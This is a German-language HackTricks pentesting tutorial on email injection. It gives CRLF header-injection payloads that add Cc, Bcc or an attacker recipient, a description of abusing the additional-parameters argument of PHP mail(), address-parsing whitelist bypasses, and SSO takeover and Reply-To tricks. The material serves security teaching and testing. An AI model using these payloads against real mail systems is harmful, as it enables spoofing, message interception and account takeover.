hacktricks/pentesting-web/email-injections.md

170 lines
10 KiB
Markdown

# E-Mail-Injektionen
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections), um einfach **Workflows zu erstellen und zu automatisieren**, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
</details>
## Injizieren Sie in gesendete E-Mail
### Fügen Sie Cc und Bcc nach dem Absenderargument ein
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
Die Nachricht wird an die Empfänger- und Empfänger1-Konten gesendet.
### Argument einschleusen
```
From:sender@domain.com%0ATo:attacker@domain.com
```
Die Nachricht wird an den ursprünglichen Empfänger und das Konto des Angreifers gesendet.
### Injizieren Sie das Betreffsargument
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
### Ändern Sie den Nachrichtentext
Fügen Sie einen Zeilenumbruch ein und schreiben Sie Ihre Nachricht, um den Nachrichtentext zu ändern.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### Ausnutzung der PHP mail() Funktion
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
```
#### Der 5. Parameter ($additional\_parameters)
Dieser Abschnitt basiert darauf, **wie man diesen Parameter missbrauchen kann, wenn ein Angreifer ihn kontrolliert**.
Dieser Parameter wird der Befehlszeile hinzugefügt, die PHP verwenden wird, um das Binärprogramm sendmail aufzurufen. Er wird jedoch mit der Funktion `escapeshellcmd($additional_parameters)` bereinigt.
Ein Angreifer kann in diesem Fall **zusätzliche Parameter für sendmail einschleusen**.
#### Unterschiede in der Implementierung von /usr/sbin/sendmail
Die **sendmail**-Schnittstelle wird von der MTA-E-Mail-Software (Sendmail, Postfix, Exim usw.) bereitgestellt, die auf dem System installiert ist. Obwohl die **grundlegende Funktionalität** (wie -t -i -f Parameter) aus Gründen der Kompatibilität **gleich bleibt**, variieren **andere Funktionen und Parameter** je nach installierter MTA erheblich.
Hier sind einige Beispiele für verschiedene Handbuchseiten des sendmail-Befehls/der Schnittstelle:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
Je nach **Herkunft des sendmail-Binärprogramms** wurden verschiedene Optionen entdeckt, um sie zu missbrauchen und **Dateien auszulesen oder sogar beliebige Befehle auszuführen**. Erfahren Sie, wie dies unter [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) möglich ist.
## Einschleusen im E-Mail-Namen
### Ignorierte Teile einer E-Mail
Die Symbole: **+, -** und **{}** können in seltenen Fällen für Markierungen verwendet und von den meisten E-Mail-Servern ignoriert werden
* Z. B. john.doe+intigriti@example.com → john.doe@example.com
**Kommentare in Klammern ()** am Anfang oder Ende werden ebenfalls ignoriert
* Z. B. john.doe(intigriti)@example.com → john.doe@example.com
### Whitelist-Umgehung
<figure><img src="../.gitbook/assets/image (812).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### Anführungszeichen
<figure><img src="../.gitbook/assets/image (626).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### IPs
Sie können auch IPs als Domainnamen zwischen eckigen Klammern verwenden:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### Andere Schwachstellen
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1131).png>)
## Drittanbieter-SSO
### XSS
Einige Dienste wie **github** oder **salesforce ermöglichen** es Ihnen, eine **E-Mail-Adresse mit XSS-Payloads** zu erstellen. Wenn Sie diese Anbieter **verwenden können, um sich bei anderen Diensten anzumelden** und diese Dienste die E-Mail nicht korrekt **säubern**, könnten Sie **XSS** verursachen.
### Account-Übernahme
Wenn ein **SSO-Dienst** es Ihnen ermöglicht, ein Konto ohne Überprüfung der angegebenen E-Mail-Adresse zu erstellen (wie **salesforce**) und Sie dann dieses Konto verwenden können, um sich bei einem anderen Dienst anzumelden, der **salesforce vertraut**, könnten Sie auf jedes Konto zugreifen.\
Beachten Sie, dass salesforce angibt, ob die angegebene E-Mail-Adresse verifiziert wurde oder nicht, sodass die Anwendung diese Information berücksichtigen sollte.
## Antwort an
Sie können eine E-Mail senden mit _**Von: unternehmen.com**_ und _**Antworten an: angreifer.com**_ und wenn eine **automatische Antwort** gesendet wird, weil die E-Mail **von** einer **internen Adresse** gesendet wurde, könnte der **Angreifer** diese **Antwort** erhalten.
## Harter Bounce-Rate
Bestimmte Dienste wie AWS implementieren eine Schwelle, die als **Harte Bounce-Rate** bekannt ist, die in der Regel auf 10% festgelegt ist. Dies ist eine wichtige Metrik, insbesondere für E-Mail-Zustelldienste. Wenn diese Rate überschritten wird, kann der Dienst, wie z. B. der E-Mail-Dienst von AWS, gesperrt oder blockiert werden.
Ein **harter Bounce** bezieht sich auf eine **E-Mail**, die an den Absender zurückgesendet wurde, weil die E-Mail-Adresse des Empfängers ungültig oder nicht vorhanden ist. Dies kann aus verschiedenen Gründen geschehen, wie z. B. die E-Mail wurde an eine nicht existierende Adresse gesendet, an eine nicht real existierende Domain oder der Server des Empfängers hat sich geweigert, die **E-Mails** anzunehmen.
Im Kontext von AWS würde eine 10%ige harte Bounce-Rate bedeuten, dass von 1000 E-Mails 100 aufgrund von Gründen wie ungültigen Adressen oder Domains zurückgeworfen wurden. Das Erreichen oder Überschreiten dieser Rate kann dazu führen, dass AWS SES (Simple Email Service) Ihre E-Mail-Sendeoptionen blockiert oder aussetzt.
Es ist entscheidend, eine niedrige harte Bounce-Rate aufrechtzuerhalten, um einen unterbrechungsfreien E-Mail-Dienst sicherzustellen und den Absender-Ruf zu wahren. Die Überwachung und Verwaltung der Qualität der E-Mail-Adressen in Ihren Mailinglisten kann erheblich dazu beitragen, dieses Ziel zu erreichen.
Für weitere detaillierte Informationen kann die offizielle Dokumentation von AWS zur Behandlung von Bounces und Beschwerden unter [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types) konsultiert werden.
## Referenzen
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections), um mithilfe der weltweit **fortschrittlichsten Community-Tools** einfach **Workflows zu erstellen und zu automatisieren**.\
Erhalten Sie noch heute Zugriff:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}